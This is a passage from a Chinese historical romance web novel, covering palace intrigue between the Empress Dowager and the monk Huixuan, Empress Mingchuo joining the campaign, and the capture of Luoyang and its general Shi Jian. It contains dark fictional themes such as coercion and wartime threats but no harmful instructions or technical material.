乌兰辉已经在桌下蹲得腿都麻了。她听不太懂皇兄和姐姐在说什么,只知道皇兄生气了,她很害怕。若是在之前,她还没那么害怕。但是自从晔儿出生以后,姐姐对她也不一样了,她就连姐姐也一起害怕起来。所以来看晔儿都必须偷偷的。她小心翼翼地换了一下重心,想缓解脚麻。然后便听见两个人又低声说了什么,脚步声便远了。乌兰辉等了一会儿,听见外面完全安静下来,这才悄悄地从桌下探出了脑袋。
一只大手从天而降,跟抓小猫崽似的,一下就抓住了乌兰辉的后领口。乌兰辉抬头看着冷脸的皇兄,登时吓得动弹不得。
乌兰徵似是知道她要干什么,精准地伸手捂住了她的嘴:“嘘。”
小公主把哭声憋了回去,瞪大了眼睛看着他。乌兰徵这才把妹妹放下,手心一摊,将那宝石香囊还给她。乌兰辉小心翼翼地瞥一眼,没敢拿。然后再瞥一眼,又不舍得。这毕竟是她很宝贝的东西。于是她飞快地伸出手,赶紧抢回来,两只手都捧住了。
乌兰徵被她的动作逗笑了:“你怎么来了?”
“看看小宝宝。”乌兰辉的声音很小。
乌兰徵蹲了下来,让自己跟她视线平齐。但是小女孩做错事了一般低着头,不敢看他。其实乌兰徵也很奇怪,明绰一向很疼辉儿,怀孕的时候辉儿三天两头地就往长秋殿跑,但不知道为什么,孩子出生以后,她反而不太喜欢辉儿来看小宝宝了。不过那段时间晔儿体弱,不能见外人,辉儿又还不懂事,没轻没重的,也不能怪明绰风声鹤唳。就是可怜妹妹,也不明白自己做错了什么,这委屈的样子看得他怪心疼的。
“以后想看就来看。”
小公主惊喜地抬起头:“真的吗?”
乌兰徵又摸了摸妹妹的头,点了点头。然后又在她后脑拍了拍:“我是说‘以后’,现在先回去吧。”
乌兰辉琢磨了一下,那就是说姐姐和皇兄出征“以后”了。她放心了似的,朝皇兄露出一个灿烂的笑容,手里还捧着她的宝石香囊,一蹦一跳地跑了。
第82章
慧玄跪坐在地,僧袍已被脱下,露出背上尚且新鲜的几条鞭痕。一只脚伸出来,把水精帘幕拨动得叮啷作响,然后踩到他大腿上。慧玄面色不改,两只手扶起那只脚,就这么跪在地上,隔着一层帘给太后捏脚。
段知妘穿得非常清凉,就一层轻纱,几乎拢不住什么。长发未梳,还带着沐浴之后的潮气,披散在肩上。因为伸着脚,整个人坐得歪歪斜斜,手里正剥葡萄吃。
慧玄不知道哪里捏重了,她轻轻“嘶”了一声,僧人的手立刻停了下来。
段知妘也不说话,慢条斯理地把手里的葡萄剥好了,招呼狗似的,口中“啧”了一声。
水精帘幕又是一阵轻响,慧玄没起身,还是就这么跪着,探过身来。段知妘把葡萄喂进他嘴里,他几乎没怎么咀嚼就咽了下去,神色还是淡淡的,只道:“多谢太后。”
他谢完恩便想退,但是段知妘突然伸手捏住了他的下巴,迫使他抬起头,看着自己。
“我对你不好吗?”
背上的鞭痕犹自隐隐作痛,但慧玄神色不改,微微扬起嘴角:“太后待我,恩重如山。”
段知妘没说话,盯着他看了许久。这张脸看不出多大年纪,她知道他起码已上了四十岁,但说三十几岁,也有人信。其实男人过了四十岁,就算老了,她不喜欢男人老。乌兰郁弗还活着的时候,每次到床上来,都有一股让她恶心的气味。他当年服侍谢郯的时候,谢郯恐怕更老,也不知道他是什么滋味。
段知妘没有见过谢郯,但是她可以想象。手握大权的老男人身上都是一个味道。
慧玄如今也到了这个年纪了,却没有那股权力的味道。他身上只有淡淡的檀香,那张脸上永远都是清清冷冷的神色,好像对他做什么都可以。慧玄刚开始给太后讲经的时候,说过佛家的苦行,那时段知妘觉得,他好像就是专门来这人世间受苦的。
只有盯着他的眼睛,盯得足够久,才能够看到他眼眸深处幽暗的焰火,静静地烧着他如冰如雪的薄皮囊。
段知妘微微凑近他,声音低如耳语:“那你为什么要背叛我?”
眼眸深处的焰火轻轻一跳,慧玄轻轻歪了歪头,似是真的不明白:“太后这是什么意思?”
当然了,他不会承认。段知妘松开钳制他下巴的手,重新往后靠:“你再说一遍,皇后生产那日,为什么会是你去向陛下报的讯?”
慧玄垂眸,毫不犹豫地把已经解释过数次的说辞又重复了一遍。皇后宫中的女使冬青想出去报讯,奔到西觉寺附近,就力竭倒地,被寺中僧人发现。慧玄从她口中得知皇后生产,立刻策马出城追上了陛下。
对乌兰徵,他也是这么说的。至于为什么这么大的事情却要冬青用两条腿跑出来报信,那不是他要解释的事情。他毕竟是一个外人,宫里出了什么事,他是不知情的。
段知妘冷笑了一声,看起来不信,但又没有找到破绽。
乌兰徵不是没来问过。长霄殿就在宫中,为什么皇后那里出了事,太后一点动静也没有?太后给的答案是当时云屏公主病了,她陪着女儿早早睡下,不知道长秋殿出了这么大的事。她自请失职,当着陛下的面处置了察察瞒报之过——她怎么能因为太后乏力,就自作主张呢?
察察心甘情愿地挨了一顿打,还要挣扎着为太后辩解,说长霄殿自始至终不知情。那天晚上来的只有贺儿冲,说是来看云屏公主的病。这实在于礼不合,他们当时手忙脚乱,只顾着劝贺儿冲了,没看到有人来报皇后生产。
她说到这里就被太后喝止了。乌兰徵当即要传贺儿冲进宫来问话,段知妘甚至跪下哭求,让他顾及妹妹。云屏公主和贺儿冲玩儿得好,乌兰徵不是不知道。贺儿薄甚至来提过一次,想让可汗把妹妹嫁给他的孙儿。其实这桩婚事也算得上登对,若是妹妹再大几岁,乌兰徵就答应了——段知妘边哭边指责,就是陛下这种态度,才让贺儿冲如此胆大妄为。辉儿才不到十岁啊,两个孩子玩儿得好,怎么在外人眼里竟会成了男女之情?若是陛下非要明着把贺儿冲叫进宫里来问,要么就狠狠地罚,绝了贺儿氏这份心,否则他暧昧不清的态度,才真的是要害死辉儿了!
乌兰徵让她说得哑口无言,原是想着问皇后生产一事,怎么让太后扯到了他一向对云屏公主不甚关心这上头。最后乌兰徵抱着满腹对妹妹的歉疚之情走了,思来想去,只疑心贺儿冲是受人指使,有意去长霄殿胡闹,不让明绰向太后求助。
把乌兰徵糊弄过去,段知妘行事更加小心,几乎完全从朝局中隐身。可她观望了这么长时间,萧皇后拿着那份手札在朝堂上大做文章,矛头也不过是指向那些信仰神女的祭司和巫祝,至于背后的乙满和贺儿库莫乞之流,皇后连他们的衣角都伤不着。乌兰徵倒是对西海权贵们疑心日炽,尤其是贺儿氏。但皇后始终不开口,他没有证据也没擅动。直到大雍的兵马真的来了,太后心里才彻底定下。她手里这封带血的信,终究是成了皇后的投鼠忌器。
她终于有功夫好好想想到底是怎么回事。太后上交兵权,主动示弱,半年来始终隐在西海王公身后。皇后眼里只看得到教派之争,她一点儿适时的关心,就让她感动了。段知妘反复推演,怎么都想不出来到底是哪里露出了破绽。
除非,有人提醒了她。
慧玄还是歪着头,眉尖微微一挑。他似乎对太后的这个问题感到真心的意外,然后便是困惑,神色间有一股不似作伪的无辜:“可是皇后有孕之后,檀越就再没见过她。”
“你是没见过,但皇后可没忘了你。”段知妘笑了笑,“年关时节,她不是还派身边的女史去西觉寺给你送年礼了吗?”
“那是皇后慈悲,给全寺僧众的赏赐。”慧玄语气微有急切,好像很着急跟太后解释,“当时住持师兄在宫中拜忏,只能由檀越来……”
段知妘打断他:“那梁女史后来又去找过你几次,是不是?”
慧玄神色微微凝固,露出了一丝恐惧之色。
“是,”他的声音低下去,“那是因为皇后想喝家乡的吴茶……”
段知妘冷笑了一声:“吴茶贵逾千金,你倒是会献殷勤。”
慧玄的脸发白了。段知妘一双眼睛如刃,恨不得在他脸上细细地刮下一层皮肉来。只是这样的两句盘问,他真的会惊慌恐惧吗?还是他心里清楚,适当的失措才是对上位者最好的麻痹?
段知妘又歪坐好,仍旧把脚伸到他怀中。慧玄低着头,无声地继续给她捏脚,听见太后慢悠悠地说:“你这样帮她,谢郯泉下有知,会念你的好吗?”
一片指甲突然过分用力地嵌进她的脚心,然后又极快地松开。慧玄低着头,像是没听到那个名字。只有在这种时候,他的反应才是真的。段知妘盯着他一片浅青色头皮,从他的隐忍中获得了某种残忍的快意。
然后慧玄轻声道:“太后疑我,自是檀越做得不对。只是檀越不明白,我能去提醒皇后什么呢?”
一片短暂的静默。段知妘转过脸,又拈起一颗葡萄,不动声色地剥出青绿的果肉。
他不知道她针对皇后的谋划。她从来没有像信任温峻一样信任过他。
段知妘轻轻地把葡萄含进嘴里:“以你的智计,猜出来不难吧?”
“太后太看得起我了。”慧玄抬起头,“君心不可知,则君威不可测。檀越不敢。”
段知妘垂下眼打量着他,她光|裸的脚抵还抵在他的胸口,有一种将他牢牢踩在脚底的感觉,于是她又多看了两眼。
多么漂亮的一张脸,让权倾南朝的谢太尉为他神魂颠倒,堂堂长沙王也被他三言两语就送上绝路。但他们都死了,现在他在她的脚下。
“知道就好。”段知妘脚下用力,抵着他的胸口往后推,朝他露出了一个别有深意的笑。慧玄低下头,原本捏在脚踝处的一只手往上移,沿着小腿的曲线无声地往上滑。
云屏公主的声音就在这个时候从外面传了进来:“额珂!”
“公主!慢着!”
段知妘本能要收脚,有那么一瞬间,慧玄没放手。她几乎以为他是故意的,哪怕只是一瞬间,他也想钳制住她。但是这一瞬快得像一个错觉,慧玄躬身后退,从地上捡起了自己的僧袍,展开披在身上,掩住了背后的鞭痕。
段知妘坐直:“你走吧。”
慧玄低着头,迅速整理好衣物,从门口走了出去。
云屏公主果然在门口,只是被察察拦住了。见他出来,还很有礼貌地合十为礼:“国师好。”
慧玄连忙还礼:“檀越见过公主。”
云屏公主抬头看着他:“国师又来给母后讲经吗?”
慧玄一笑:“是啊。”
段知妘也走出来,身上已多披了一件衣服,站在门口对女儿笑:“辉儿,不要打扰国师。”
云屏公主便又朝慧玄行了个礼:“国师走好,云屏不送了。”
慧玄低头看着她,唇边的笑意更深:“多谢公主。”
他转身往外走,听见云屏公主扑进母亲怀里的声音,段知妘温柔地问她又去哪儿了。
“我去看小宝宝了。”云屏公主心情很好地宣布,“额珈说,我以后想去看就可以去!”
“真的吗?”段知妘笑着,“你额珈亲口跟你说的?”
“嗯!”小女孩的声音很雀跃,“等姐姐跟额珈出征以后!”
段知妘顿了顿,跟她确认:“额珈又要出征?”
“嗯!姐姐也要出征!”
慧玄脚下一顿,还想再听两句似的,但察察已经掩上了门,隔绝了母女两个的谈话声。慧玄不动声色地快行了两步,走出了长霄殿。
他被拜为国师,乌兰徵准了他车马入宫的特权。等着接他的马车就在长霄殿侧的甬|道上等着,黑衣小沙弥已经等得十分困倦,头一点一点,靠在车辕上快睡着了。等慧玄走近,他又突然清醒过来,赶紧找出轿凳,服侍他上车。
但是慧玄若有所思,一只脚分明已经踩上了轿凳,却又停住了。小沙弥抬头看着他,见他回过头,神色复杂地朝长霄殿瞥去了最后一眼。背后的鞭痕被僧衣摩擦,带来不容忽视的灼痛。但那还不是最痛的。
“国师?”小沙弥不敢催促,只问,“不出宫吗?”
慧玄转回头,从轿凳上放下了一只脚。
“再等一等。”慧玄整了整衣袖,突然道,“我要去见皇后。”
第83章
皇后突然向陛下提议,东征的时候,把国师也一同带上。
这是一个相当奇怪的要求。“国师”只是奖励性质的虚衔,皇帝并没有在任何政事上问过慧玄的意见。甚至乌兰徵本人都还算不上笃信佛陀,连听国师讲经都很少。
所以乌兰徵一开始没应,明绰费了半夜的口舌功夫,讲慧玄还在俗家时是如何以区区三百人就一路潜伏进京,挟持公主,险些造反成功的,以此来证明此人在用兵上颇有见地,是个可用之才。他有心报国,乌兰徵要做明君,得用他。
明绰软声软气,“明君”的迷魂汤是一碗接一碗地灌。可惜乌兰徵太了解她了,反而不吃这套。
“险些”成功,那就是没成,这叫什么有才?挟持公主,犯上作乱,这叫什么“有心报国”?——更不用说一个大雍的臣民,对大燕谈什么报国之志是不是也有点儿张口就来了。
乌兰徵最后陈词,处置温峻那会儿就对此人起过杀心,果然当初就该一起杀了。
明绰本来还想着有事儿求人态度不能太横了,说到这儿就没耐心了。张嘴就讽刺乌兰徵不也是“险些”收回了洛阳呢。再说当年挟持公主,犯上作乱这些事儿,这杀不杀留不留都是萧盈做主,要乌兰徵在这儿主持什么公道?
她没好气了,乌兰徵又松口了。人也不是不能用,就是好奇,国师一向是太后的人,怎么如今竟是皇后来替他谋前程了。
明绰听到这儿就一脸似笑非笑的神色,说国师前两日在太后那里“讲经”,险些让云屏公主闯进去。
乌兰徵听完就好一阵没言语。他在太后的私德一事上一向装聋作哑,近臣们私下议论,只说陛下还是太好颜面了,一味放纵了太后。唯独明绰很清楚他什么心思,他根本就是自己心虚,没立场管。但乌兰徵从来不提,明绰也不想轻易地去戳破此事。
如今皇后把云屏公主抬出来,乌兰徵多少疑心她是随口说的,长霄殿里这种小事,皇后怎么会知道?但她提醒的并非没有道理,如今公主大了,太后还这样不知道忌讳,这种事情想来也是早晚会发生的。乌兰徵脸色阴了半天,最后只道,明日传他进宫,谈一谈吧。
其实云屏公主差点闯进去倒是真的。慧玄那天从长霄殿出来就来求见了皇后,告了声罪,便把僧袍一脱,给她看背上鞭痕累累。
与其说他是“有心报国”,不如说是来跟皇后求救。他从云屏公主三言两语里听到皇后也要随军出征,所以冒险前来相求。他知道此举有挟恩图报之嫌,但等陛下和皇后都离开,长安定会重新落入太后的掌控,到那时……
明绰没有听他说完就轻声打断了他:“好。”
慧玄有些错愕地抬起头,似乎不敢相信她竟会答应得如此轻易。
“国师不是也说了吗?”明绰从地上捡起僧袍,盖到了他背上,垂着眼睛,似是不忍看,“我与国师之间,有故人之谊。”
次日,乌兰徵召慧玄入宫,密询粮草策。上一次他就想一举收回洛阳,再谋冀辽,那一年收成尚可,都有些艰难,今秋收成还不及那年,粮草就成了乌兰徵眼下最大的难题。慧玄早有准备,献“围点打援”“就地取粮”和“兵农屯田”三策,一谈便是半日。
明绰听剑器阁的人来报,说陛下亲自解了慧玄的僧袍,一剑劈断他手中佛珠,命他还俗入仕。当日晚些时候,旨意便从宫中传出,陛下封了一位“方千绪”为参军,领军师职。
随后不久,皇后要随军出征的消息也传了出来,不出意外地遭到了强烈反对。明绰怀孕之后就没有再上过大朝会,隔了一年头一次在大朝会上重新露脸,就被劈头盖脸地指责她有染指军政之心。
但这次其实是乌兰徵的意思,骂她也没用。吵了两天,皇后突然下了道旨,把后宫一位泰赤哈氏抬到了贵妃的位置上,补了原本陈云出的缺。紧随着晋封旨意来的,便是皇后将皇长子暂时托付给泰赤哈贵妃照顾的消息。
这位泰赤哈氏自从入了宫,可能就没见过乌兰徵。但她家世显赫,母亲更是步察氏之女,不是什么边远的小部落送来的“礼物”。所以当初皇后将大部分的嫔妃遣散时,还是留下了她。泰赤哈氏自己也没有什么争心,一直在宫里老老实实的。若说她本人有这个心计和魄力与太后相抗,明绰倒也没什么信心。但太后多少还是会忌惮她娘家,对明绰来说便是多一层安心。
外人不懂明绰心里的计较,只觉得此举是皇后对西海王公们的示好。尤其是步察巴合,转头大力支持皇后随军,其实泰赤哈氏的母亲跟他还隔着两辈亲呢,他已经一口将这位新贵妃认作外孙女,恨不得亲自把皇长子抱回家去。
至此,皇后随军成了定局。兴和七年秋,长安全军集结,粮草齐备,第二次朝洛阳进发。
真的上路以后,明绰却发现,普通将士们对于她随军的态度,跟乙满和贺儿库莫乞之流截然相反。她现在马骑得有模有样,也不愿意整天闷在马车里,换了一身轻甲,把繁复的发辫拆掉,束得高高的荡在脑后,每天与乌兰徵并骑,反而大大鼓舞了士气。将士们也不知道哪儿来的一股牛劲,同样的一条路,跟上次出兵一样的扎营地点,居然比上次少花了一个多时辰。乌兰徵把方千绪叫来,还想问问是不是这次做的行粮饼真有奇效,就听见外面此起彼伏地传来了一大片歌声。
这歌声明绰听过,当年去风陵渡口接她的将领拔都就在路上唱这个调儿。明绰循着歌声去跟将士们一起吃饭,果然见到了拔都。他军衔不高,这些年明绰没在朝中再见到他,如今发现皇后还记得他,拔都高兴得连唱歌都不够,干脆把甲一脱,跳上舞了。转眼人越聚越多,乌兰人本就喜欢歌舞狂欢,尊卑意识不强。等乌兰徵找过来的时候,这头已经热闹得跟立后大典那天一样,明绰被拔都拉着一起跳舞,笑得见牙不见眼的,一点儿没看见陛下在旁边已经无声无息地黑了脸。
士气如此高涨,自然不是坏事,但一想到是因为漂亮女人,这个漂亮女人还是他的
皇后,乌兰徵就有种搬起石头砸自己的脚的感觉。
她玩得脸都通红,乌兰徵的脸就更黑了。明绰还想过来拉乌兰徵,被乌兰徵一把扛到了肩上,转身就走。将士们“哄”的一声闹得更响,贺儿库莫乞徒劳地试图恢复军纪,但一点用都没有。
明绰又好气又好笑,压低了声音威胁他:“你别逼我!”
乌兰徵似是终于想起来明绰的脾气不比寻常女子,要就这么扛回主帅营帐,皇后真能当着全军将士的面跟他动手,那也太不像话了。犹豫了半刻,到底还是在将士们的视线范围里把她放了下来。
明绰站直身子,理了理头发,狠狠地瞪了他一眼,但脸上一片飞红,嘴角还有掩不住的笑意,怎么看都没什么威慑力。但她用乌兰语开口让大家赶紧休息的时候,竟比贺儿库莫乞的话还好使。
看着将士们各自回去休息了,乌兰徵也转头走了。明绰跟着回了主帅营帐,也不说话,就帮他卸甲。手环到他腰后给他解甲上的软带子,一边贴在他胸口,也不知道那软带子系了个什么结,她解了半天也解不开,头发在他下巴上蹭呀蹭,乌兰徵到底没忍住,伸手把人往怀里一带,抱了个结结实实。
“哪有你这样的。”明绰从他怀里仰起脸,声音很小,“嘴上说要我高兴,我真的高兴了,你又不高兴了?”
乌兰徵无话可说地低头看着她,只道:“是拔都太放肆。”
明绰踮起脚,张口就在他唇上狠狠咬了一口:“你不许罚他!”
乌兰徵低头来追她的唇,明绰仰起脖子躲他,他就狠狠地在她露出来的脖子上还了一口。真用上牙口了还不算,咬完竟还“呸”了一声:“全是沙。”
明绰咬牙切齿地伸手去揉他的脸:“你又好到哪里去!”
她边说边笑,乌兰徵也不板着脸了,任她揉搓两下,又伸手把她的手攥在自己手心,突然问了一句:“真的高兴?不嫌辛苦?”
明绰摇了摇头,然后又点点头:“真的高兴。”
其实一直到出发之前她都在犹豫,尤其是把晔儿送去泰赤哈氏那里的时候,她反悔的心一度达到了顶峰。可是真的出门了,她发现自己其实也没那么想孩子。
四年前同样是走潼关,进长安,她只觉得满目黄沙,前路蹉跎。但现在自己骑着马丈量山河,颠簸并未少几分,她却觉得,连风里的一粒沙都比长安的四方宫城有更广阔的天地。
“谢谢你。”她重新把脸埋进乌兰徵怀中,他胸口有甲,雕着繁复的虎头,硬得硌人。但她不管。
乌兰徵低下头,想亲一亲她的头发,然后又皱着眉,没下得去嘴。明绰感觉出来他的动作,哭笑不得地把人一推:“我这就去洗!”
但是乌兰徵一把把人重新拽了回来,低声说着:“这里没有沙……”便封住了她还未说出口的笑骂。
明绰用最快的速度适应了每天都是尘土满面的生活。
皇后带了五个女使,除了秋桑行走不便,跟着保母一起去泰赤哈氏那里照顾晔儿以外,其余最亲近的人都带出来了。乌兰徵单独给了她们一个营帐,拨了一支亲卫小队保护。一开始有胆大包天的小兵来偷看女人,被乌兰徵军法处置了,后面就再没不要命的敢来相扰。
乌兰徵其实不舍得明绰太辛苦,他们扎营的地方都靠着水,有人每天伺候皇后过得舒坦一些也不是难事。但乌兰徵自己不搞这种特殊,将士们怎么赶路他就也怎么赶路。他都这样以身作则,明绰就更不能拖后腿了。她越是这样灰头土脸的,将士们对皇后越是交口夸赞。
二十天后,大军终于抵达函谷关。
第84章
上一次乌兰徵打洛阳,起手先切断了西南面粮道,才在正面战场势如破竹。这回石简长记性了,主力都扑到了粮道上,无论燕军如何挑衅叫骂,就是不出门应战。斥候回来报,整个宜阳深壕高墙,层层拒马,一看就是要打定主意跟乌兰徵耗下去。
主帅营帐里议来议去,也没什么新主意,还是必须抢粮道。乙满请战,准备率三千人趁夜从南面绕过去,烧了石简的粮仓。乌兰徵没说好,也没说不好。明绰夜里摸到身边是空的,起来便看见他坐在帐中那个巨大的地舆图盘边上,灯也不点,就在黑暗中以指腹轻轻地摸着木雕出来的山川河流。
明绰知道他在想事情,没出声惊他,只是把手里的烛台放到图盘边上,坐在了他身边。好一会儿,乌兰徵突然抓起了她的手,轻轻地摸了摸一块凸起的“山”。这山叫人摸得多了,触手已是一片圆润。
乌兰徵:“这是崤山。”
明绰便“嗯”一声。然后他又握着她一根手指,摸到板上凹下去的一条蜿蜒痕迹,“这是洛水。”另一条,“伊水,”然后是最宽的一条,明绰轻声接了一句:“黄河。”
这回是乌兰徵“嗯”了一声,放开了她的手。
“三川谷地,”明绰突然想起很多年前某个在含清宫昏昏欲睡的早上,“我太父说,历来东西交战,都是抢这块地方。”
乌兰徵只道:“兵家必争。”
“我们在哪儿?”
乌兰徵指了指地图上插着蓝色小旗的地方:“这儿。”
明绰低着头看了一会儿,本想问潼关在哪儿,他们是走哪条路来的,但是从这图盘上一看就非常清楚了。自关中出来就只有这么一条道,洛阳正正好好地就挡在门口。三面不是险峰就是大河,无论去哪个方向,都绕不开洛阳。
明绰又问:“石简的粮道在哪儿?”
乌兰徵的手指从西南面轻轻一划:“这儿。”
明绰便不说话,盯着图盘看了半天,看得乌兰徵竟然莫名产生了几分期待,两只眼睛直勾勾地看着她。明绰不用抬头也知道他正盯着看,只好把话说在前头:“别看我,我可不懂打仗。”
乌兰徵哑然失笑:“你太父没教?”
明绰便叹出一口气,说实话她连这图盘都看不太明白。谢郯是文官,当年上战场也是为了平叛,明绰怀疑他自己也不太通,确实没教过这些。
“这种事要是只靠教的,那不成了纸上谈兵了吗?”明绰撑着下巴看着他,微弱的烛光给她的侧脸抹了一层蜜蜡似的油润光泽,看着乌兰徵也有些出神,没忍住伸手摸了摸她的脸颊。明绰顺势拉住他的手,一边轻轻摩挲他掌心持缰绳的茧,一边道,“你是不是舍不得烧石简的粮?”
乌兰徵回过神来:“嗯?”
明绰用一种很了然的眼神看着他:“烧他粮草只能算中策,他毕竟守着那么大一个洛阳城呢,若是他收缩战线,死守不出,存粮吃完了还能杀城里的老百姓吃,我们才是真的要挨饿……”
她形容人吃人面不改色心不跳的,倒是把乌兰徵说得眉间狠狠一跳。
明绰接着往下说:“所以,你想抢他的粮。”
乌兰徵反手把她的手包在掌心:“还说你不懂打仗?”
“我是不懂呀,”明绰倾身过来,歪着头看他,“可我懂我夫君在想什么。”
这话说得太窝心了,乌兰徵唇边笑意更深:“那你再想想,你夫君该怎么抢石简的粮。”
明绰看着他:“你想不出来啊?”
乌兰徵摇摇头,没什么不好意思承认的。突袭粮仓不难,难的是怎么把这些粮运回自己的军营。要偷抢粮道就不能带太多人,但人带少了,就挡不住石简的反击。毕竟粮在谁手里,谁就走得慢,谁走得慢谁就挨打。粮道那边也没有适合大军设伏的地方,他反复推演一晚上了,还是没找到一个万全之策。
明绰看着他的神情,突然笑了出来。当时方千绪跟她说乌兰徵是什么“军神”,还“从无败绩”,原来也不过一个鼻子两只眼,想不出来计策就觉也睡不着,坐在这儿直发愁。
也不知道这么多年,他有多少个这样愁到睡不着的夜晚。
“行了,”明绰十分同情地拍了拍他的肩膀,“夫君还是自己慢慢想吧。”
乌兰徵看她站了起来,神色竟还有几分失落。在长安时,政事上他经常会问皇后的意思,皇后也多有谏言,他对她已经有了习惯性的依赖。可是打仗这种事她是真的不懂。来去都是人命,乌兰徵敢听她的话,她还不敢随便开口呢。但明绰看着乌兰徵的神色,心里还是软了一软,轻轻俯身在他眉间吻了一下,什么都没说,自己回去睡了。
又过几日,乌兰徵亲自带了工兵溯洛水而上,先从上游截断了洛水,贺儿库莫乞则带人去伊阙方向截伊水。秋季河道枯,围堰截流不难,可作“断水围城”之策。先用这个吓唬吓唬石简,再派汉人将士轮流去城下叫骂,没日没夜地敲锣打鼓,编排石简家中女眷,已是相当下作,但石简还是岿然不动。
这次袁氏兄弟跟乌兰徵面谈过,两国联盟牢固,大雍在东边也不再是象征性地“伸伸手”,而是真打。要不是拔拔真无暇西顾,石简也不会这么窝囊。
这会儿已经有人没了耐心,又建议去烧了粮草,然后正面强攻。只是攻坚耗粮,乌兰徵就是想避免这种情况。但是连方千绪都开始说,再耗下去,他献的节粮之策就没有意义了。洛阳虽然不像漠北那样,天一冷,野外就完全没法活人,但冬天的粮耗、火耗只会更加可
怕。更何况,若是伊洛两河结冰,围堰截流不可行,断水围城之策自然就破了。为今之计,必须速战。
乌兰徵又连着两个晚上没有睡着觉。明绰主动去了女使帐中,跟她们一道休息,省得军师参将们还要忌讳她宿在主帅营帐,不方便夜里与主帅详谈。没过几日,竟然真的让乌兰徵想出一计来。
是夜,乌兰徵带了一支三千人的轻骑,以最快的速度突破了石简在伊阙设下的防线,直奔他存粮的谷口驿,夺他粮草。石简果然迅速反应,准备追上抢回来。没想到乌兰徵根本没运粮,就在谷口驿旁边设立了一个临时辎重营。轻骑仍旧保持了相当高的机动性,在乌兰徵的指挥下设伏反击。石简部下被打得晕头转向,都没找到乌兰徵把粮藏哪儿了。
此时,乙满率燕军主力在宜阳强攻。谷口驿粮草被夺,只能从东南方向让民兵运更多的粮过来,结果又被乌兰徵伏击。这回不仅抢粮,还抢人。乌兰徵就用石简的人运石简的粮,只是换了个方向,逼着他们一路送到大燕军营了。
粮草抢来了,乌兰徵也没把民兵们怎么样,好吃好喝招待了两天,仍旧让他们回去,让他们去散播伊洛两河都已经让燕军断了上游的消息。燕军这边则派人把已经空空如也的运粮车都丢回去,一堆已经摔烂的木头就这么垒在城墙下,无声,却比之前的一切叫骂都更羞辱。
十日后,石简终于被逼出城迎战。同样的战况再次上演,乌兰徵很快攻下宜阳,往洛阳挺进。只是这一次,石简没有来得及在洛阳城内上演火攻之策,就被乌兰徵生擒了。
守在洛阳的将领见主帅被擒,终于放弃抵抗,打开城门。
至此,离拔拔真割去中原土地,叛离乌兰,已经整整八年。
明绰随燕军进城,只见城中以“十室九空”来形容都不为过。一年半以前那场仗,石简退入洛阳,引燕军小股进街巷再放火,烧得满目疮痍,仍未复原。洛阳亦为前朝古都,城中本有宫禁,如今也只剩倾墙坠瓦,荒城残堞,无法住人。乌兰徵便占了石简原本的居所,将皇后接来,以作暂住。
石简自己的家小仍居此处,只是被燕军看管起来。当初乌兰徵让人去宜阳城下叫骂,把他妻女老母都说得很难听,实际上倒是一点儿没把人怎么着。乌兰徵惜才,连石简都没舍得杀。但是劝降多日,他也始终不肯,梗着脖子就是一句要杀便杀。
这个态度就很让人恼火了。石简祖上并非世家,前梁时只是并州一名参将。后来前梁失国,整个北方陷入战乱,原并州太守拍拍屁股就跑了,倒是这位参将临危而出,领兵守护一方百姓。到石简父亲那一代,就追随了陈氏,等到了石简这里,又遇上了乌兰郁弗横扫北方,与拔拔真交手不敌,成了降将。
但当年拔拔真也在乌兰郁弗麾下,照理说,石简真正降的应该是乌兰郁弗。乌兰徵没跟他算这个二叛其主的罪名,他还拿起款来,跟乌兰徵演上忠义节烈了。
乌兰徵气得想杀人,但又不想让他死得这么痛快。让人去拿了石简的小儿子来,说要当着他的面,把那小孩儿跟猪一样抹了脖子吊起来放干净血。明绰还没进门就听见叫骂不断,石简让人反绑着手,一左一右还有两个将士摁着跪在地上,额上脖子里青筋暴起,红着脸骂得唾沫横飞。乌兰徵也没好到哪儿去,一迭声只是喊:“还不把他儿子绑来!”
“我靠你婆娘——”石简张开嘴就是骂,旁边的将士一看皇后真来了,举起刀柄就在他颊边狠狠一捶,打落了他两颗牙。
乌兰徵也红了眼,舔了舔牙根,突然道:“去,把他女人带出来。”
石简“呜呜哇哇”地喊:“兀鲁蛮子!你要干什么!”
“我才看不上你那黄脸婆!”乌兰徵扬起嗓子骂回去,随手往站在身边的乙满胸口一拍,“我们大司马倒是不嫌弃。”
乙满十分配合地狞笑一声,还真有人得了令就准备去抓石简妻子来。明绰就站在过道上,没好气地把人喝住:“你还真去?”
那将士让她说得一愣,站在那里进也不是退也不是。石简还在口齿不清地叫骂,乌兰徵就说再去把他女儿也绑来,乙满在旁边一唱一和的,说他女儿不老,可以给陛下先“用”。在场的将士们全都哄的一声笑起来,乌兰徵还没来得及回答,明绰就已经走进院中,于是乌兰徵双唇一抿,装着没听见乙满那话。
她既然来了,将士们都不好意思跟着那些污言秽语笑了。连石简都意外地抬着头看她,没想到乌兰徵出来打仗还带女人。
双方正骂到彼此问候夫人的阶段,石简还这么盯着皇后看,乌兰徵牙根发痒,很有把他眼珠子挖出来的冲动。明绰已经走到他身边,轻声劝了一句:“士可杀,不可辱。陛下这般辱了石简,将士们就会照样去辱洛阳百姓。”
乌兰徵咬着牙,一声没吭。洛阳是大燕的国土,他是“收回来”,所以要约束将士,善待百姓,不能让西海将士跟以前一样,攻城之后就大肆杀伤抢掠。
“陛下还是先消消气,”明绰拉住他的手,拇指在他手背上轻轻摩挲,“我来劝劝石将军。”
第85章
石简的孩子年龄都不大,女儿十五六岁,两个儿子都还不到十岁。明绰让冬青把他的妻儿都带过来的时候,石简满脸的戒备,看起来随时要暴起伤人。明绰只当没看见,反而让人把他解开。
看着的将士不敢,嗫嚅着说:“皇后,这……”
石简又看了这女人一眼。她太漂亮了,所以他心里更看不起乌兰徵,觉得他出门打仗还要带宠妃,没想到这个女人竟然是大燕的皇后。历来皇帝御驾亲征,都城便要皇后镇守,他从未听说过有皇后随军的事情。
“给石将军解开,”明绰耐心地又说了一遍,“这幅样子,让他家人看见岂不难过?”
石简闻言不由微微动容,方才那股暴戾之气顿时散去许多。将士不敢违逆了皇后,还是给他解开了缚在身上的绳索。石简被捆得久了,乍然松脱,两条手臂又麻又痛,一时龇牙咧嘴,仍不忘拱手为礼:“多谢萧皇后。”
明绰一笑:“石将军知道我姓萧?”
石简神色有些别扭,明绰态度很好,他便不好意思再那样凶神恶煞。可是刚才都已经那样凶神恶煞了,再要他彬彬有礼,他就连视线都不知道往哪里放。脸上被刀柄捶的那一下已经高高地肿起来,让他多少有些口齿不清。明绰就看着他这般狼狈又别扭地回了一句:“乌兰徵娶的是大雍萧氏公主,天下都知道。”
